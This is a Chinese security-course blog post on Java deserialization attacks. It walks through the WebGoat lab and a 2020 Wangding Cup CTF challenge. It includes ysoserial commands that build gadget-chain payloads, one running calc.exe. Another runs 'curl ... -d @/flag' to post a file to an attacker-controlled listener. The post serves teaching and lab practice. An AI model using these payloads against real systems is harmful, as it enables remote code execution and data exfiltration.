首页 > 技术文章 > 【反序列化】---PHP&Java全解(下)---day38

darkerg 2021-05-17 21:29 原文

【反序列化】---PHP&Java全解(下)---day38

一、思维导图

image-20210502203019467

Java中API实现:

image-20210502203128215

#序列化和反序列化

序列化(Serialization): 将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。

反序列化:从存储区中读取该数据,并将其还原为对象的过程,成为反序列化。

二、演示案例

image-20210502203446691

1、Java反序列化及命令执行代码测试

反序列化:需要自己创建一下Person类

package SerialTest;

import java.io.*;


public class SerializableTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        serialPerson();
//        Person person = deserialPerson();
//        System.out.println(person);
    }
    public static void serialPerson() throws IOException{
        Person person = new Person("xiaodi",28,"男",101);

        ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream(new File("C:\\Users\\darkerg\\Desktop\\person.txt"))
        );
        oos.writeObject(person);
        System.out.println("person对象序列化成功!");
        oos.close();
    }

    private static Person deserialPerson() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(
                new FileInputStream(new File("C:\\Users\\darkerg\\Desktop\\person.txt"))
        );
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功!");
        return person;
    }

}

命令执行:

import java.io.*;

public class Main {
    public static void main(String[] args) throws InterruptedException, IOException {
        Process p = Runtime.getRuntime().exec("ipconfig");
        java.io.InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        p.waitFor();
        if(p.exitValue()!=0){
            //说明命令执行失败,可以进入到错误处理步骤中
        }
        String s = null;
        while((s = reader.readLine())!=null){
            System.out.println(s);
        }
    }
}

运行之后:

image-20210502205909497假设上面的ipconfig可以控制,并且是来自接受到反序列化后的数据,那么进行执行,就会形成命令执行漏洞。

2、WebGoat_Javaweb靶场反序列化测试

下载地址:
https://github.com/WebGoat/WebGoat/releases?after=test-v10

①安装:

image-20210502210333346

image-20210502210347285

下载完毕后:需要用jdk1.7环境下jar打开。

但是我已经安装了jdk1.8,不向下兼容。于是看到网上有用docker安装的,尝试一下。

image-20210502220032403

拉取成功

image-20210502220144634

运行环境:

image-20210502220310883

docker run -p 8080:8080 -t webgoat/webgoat-8.0

虚拟机中打开:

image-20210502220508804

宿主机中打开:

image-20210502220532444

②演示:

image-20210502220817587

③知识点补充:

image-20210502222309331

image-20210502222542300

例如:

要执行ipconfig
ipconfig => 序列化 -> base64 = rO0AB格式字符串 最终的payload

④ysoserial工具使用

https://blog.csdn.net/weixin_34275734/article/details/92243836

命令:

java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master.jar ysoserial.GeneratePayload Hibernate1 calc.exe >payload.bin

hibernate-core-5.4.9.Final.jar是WebGoat中的一个组件。

image-20210502223102818

运行上面的命令,就可以得到一个payload,那么光得到payload是不行的,我们还要进行base64加密。

⑤base64加密脚本:

import base64

c=open("payload.bin","rb").read()
cc=base64.urlsafe_b64encode(c)
open("payload.txt","wt",ecoding="utf-8").wirte(cc.decode())

3、2020网鼎杯-think_java

靶场:CTFHub

image-20210502231045927

image-20210502231910480

下载附件,源代码,准备寻找突破口

image-20210502232909601

有提示,目测是反序列化造成SQL注入的危害。

打开题目环境:

image-20210502233316964

下面的POST

image-20210503112022094

image-20210502234011169

image-20210502234027584

接口登录地址

image-20210502234315879

回显

image-20210502234414638

发现data中有开头为ro0A的字符串,序列化。然后上面有个身份认证token,把序列化的值放进去就可以,

image-20210502234554104

返回值:

image-20210502234607116

py2脚本base64解密数据

import base64

a = " "
b = base64.b64decode(a).encode('hex')

再利用SerializationDumper解析数据

下载地址

https://github.com/NickstaDB/SerializationDumper/releases/tag/1.13
java -jar SerializationDumper.jar #base64后的数据

解密后数据:

image-20210503001150981

反序列化后数据:

image-20210503001428415

查看用户信息,抓包:

image-20210503001556787

请求数据包中有接受,我们就可以构造一个恶意的payload,发送出去。

image-20210503001750243

java -jar ysoserial-master.jar ROME "curl http://xxx.xxx.xxx.xxx:4
444 -d @/flag" > darkerg.bin

使用ysoserial序列化构造payload

image-20210503002206744

在服务器监听端口

image-20210503002251851

推荐阅读